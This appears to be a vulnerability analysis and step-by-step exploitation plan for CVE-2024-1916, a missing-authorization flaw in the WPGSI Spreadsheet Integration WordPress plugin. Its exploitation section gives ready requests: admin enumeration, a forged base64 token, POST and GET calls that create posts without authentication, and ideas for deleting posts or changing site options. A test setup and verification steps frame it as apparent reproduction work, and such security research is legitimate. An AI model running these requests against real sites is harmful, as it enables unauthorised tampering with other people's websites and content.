Vulnerability Analysis: CVE-2024-1916 (WPGSI: Spreadsheet Integration)

1. Vulnerability Summary

The WPGSI: Spreadsheet Integration plugin (up to 3.8.3) contains a critical missing authorization vulnerability combined with an insecure authentication mechanism in its REST API. The plugin registers two REST API endpoints (/wpgsi/accept and /wpgsi/update) intended for remote updates from Google Sheets. These endpoints lack proper permission_callback checks (using __return_true) and rely on a "token" that is merely a Base64-encoded JSON object containing user information. Because this token is not cryptographically signed, an unauthenticated attacker can forge a token using publicly enumerable information (Admin ID and Email) to impersonate an administrator and manipulate WordPress posts.

2. Attack Vector Analysis

• Endpoints:
  • POST /wp-json/wpgsi/accept (Used to transmit the spreadsheet data)
  • GET /wp-json/wpgsi/update (Used to trigger the processing of the transmitted data)
• Vulnerability Type: Missing Authorization / Insecure Authentication (Forged Token).
• Authentication: Unauthenticated. The permission_callback for both routes is set to __return_true in admin/class-wpgsi-update.php.
• Parameters:
  • token (Base64-encoded JSON: {"ID": <integration_id>, "UID": <admin_id>, "email": "<admin_email>"})
  • sheetData (2D Array: Rows and columns of data to be synced)
• Preconditions:
  1. Attacker must know or guess a valid integration ID (these are IDs of the wpgsiIntegration custom post type, which are standard WordPress post IDs).
  2. Attacker must know the administrator's email address (enumerable via /wp-json/wp/v2/users).
  3. The integration must have "Remote update from Google sheet" enabled.

3. Code Flow

1. Route Registration: In admin/class-wpgsi-update.php, the wpgsi_register_rest_route() function registers the endpoints.

   register_rest_route( 'wpgsi', '/accept', array(
       'methods'             => 'POST',
       'callback'            => array($this, 'wpgsi_callBackFuncAccept'),
       'permission_callback' => '__return_true', // Vulnerability: No check
   ) );
   

2. Token Processing: The wpgsi_callBackFuncAccept($data) function receives the request.
   • It extracts token: $jsonString = @base64_decode( $data['token'] );
   • It decodes JSON: $updateInfo = json_decode( $jsonString, TRUE );
   • It validates that UID and email correspond to a real user:

     $userData = get_userdata( wp_kses_post( $updateInfo['UID'] ) );
     // The check only confirms the user exists and the ID matches the forged UID.
     

3. Data Persistence: The function saves the sheetData provided in the request into a WordPress option or transient, keyed to the integration ID.
4. Processing Trigger: The attacker then calls GET /wp-json/wpgsi/update. This function reads the previously saved data and performs the actual WordPress operations (creating, updating, or deleting posts) based on the mapping configuration defined in the wpgsiIntegration post.

4. Nonce Acquisition Strategy

This vulnerability does not require a WordPress nonce. The REST API routes are explicitly registered with permission_callback => '__return_true', effectively bypassing WordPress's internal REST nonce requirement for authenticated actions. The custom "token" used by the plugin is the only security mechanism, and it is forged in the exploitation phase.

5. Exploitation Strategy

Step 1: Enumerate Administrative Information

Find the admin user ID and email.

• Request: GET /wp-json/wp/v2/users
• Target Info: Look for id (usually 1) and email (if exposed) or guess based on standard admin@domain.com.

Step 2: Identify a Valid Integration ID

Integrations are stored as wpgsiIntegration posts.

• Method: Brute-force/enumerate post IDs (e.g., 1-100) or check the plugin's log if exposed (/wp-admin/admin.php?page=wpgsi-settings&action=log - though this requires admin access, unauthenticated enumeration of IDs via the accept endpoint's responses is possible).
• Verification: A valid ID sent to /wp-json/wpgsi/accept with a forged token will return a 200 or a specific error message rather than a 400 integration ID error.

Step 3: Forge the Token

Construct a JSON object and Base64 encode it.

{
  "ID": 123,
  "UID": 1,
  "email": "admin@example.com"
}

Encoded: eyJJRCI6IDEyMywgIlVJRCI6IDEsICJlbWFpbCI6ICJhZG1pbkBleGFtcGxlLmNvbSJ9

Step 4: Submit Malicious Sheet Data

The payload must match the integration's column mapping. If the integration maps Column 0 to Post Title and Column 1 to Post Content:

• Request: POST /wp-json/wpgsi/accept
• Headers: Content-Type: application/json
• Body:

  {
    "token": "eyJJRCI6IDEyMywgIlVJRCI6IDEsICJlbWFpbCI6ICJhZG1pbkBleGFtcGxlLmNvbSJ9",
    "sheetData": [
      ["Column_Title_Row"],
      ["Vulnerable Post Title", "This content was created via CVE-2024-1916"]
    ]
  }
  

Step 5: Trigger the Update

• Request: GET /wp-json/wpgsi/update
• Response: Expected 202 (Accepted/Processing) or 200.

6. Test Data Setup

1. Plugin Setup: Install WPGSI <= 3.8.3.
2. Create Integration:
   • Create a "New Integration" in the WPGSI dashboard.
   • Set "Data Source" to "WordPress New Post".
   • Enable "Remote update from Google sheet".
   • Map at least two columns: Column A -> post_title, Column B -> post_content.
   • Save and note the Post ID of the integration (e.g., in the URL id=123).
3. Administrator: Ensure user ID 1 has the email admin@example.com.

7. Expected Results

• Successful Accept: The accept endpoint returns a JSON response with "code": "200" and a success message.
• Successful Update: The update endpoint returns "code": 202 or 201.
• Final Result: A new WordPress post is created with the title "Vulnerable Post Title".

8. Verification Steps

1. Check Posts: wp post list --post_type=post
2. Verify Content: wp post get <new_post_id>
3. Check Plugin Logs: WPGSI keeps internal logs. Check wp post list --post_type=wpgsi_log to see the remote update trace.

9. Alternative Approaches

• Post Deletion: If the integration is configured for "Sync" or "Delete", include a row in sheetData that matches an existing post ID and provides an "action" or "delete" flag if the integration supports it.
• Information Leakage: Attempt to guess Integration IDs by observing the difference between "integration ID is empty" (302) and "user id is not correct" (303) errors in the wpgsi_callBackFuncAccept function.
• SSRF/RCE via Post Content: If the plugin allows updating meta fields or options, use the forged token to update siteurl or active_plugins (if mapped), though typically this is limited to Post/Page/WooCommerce fields.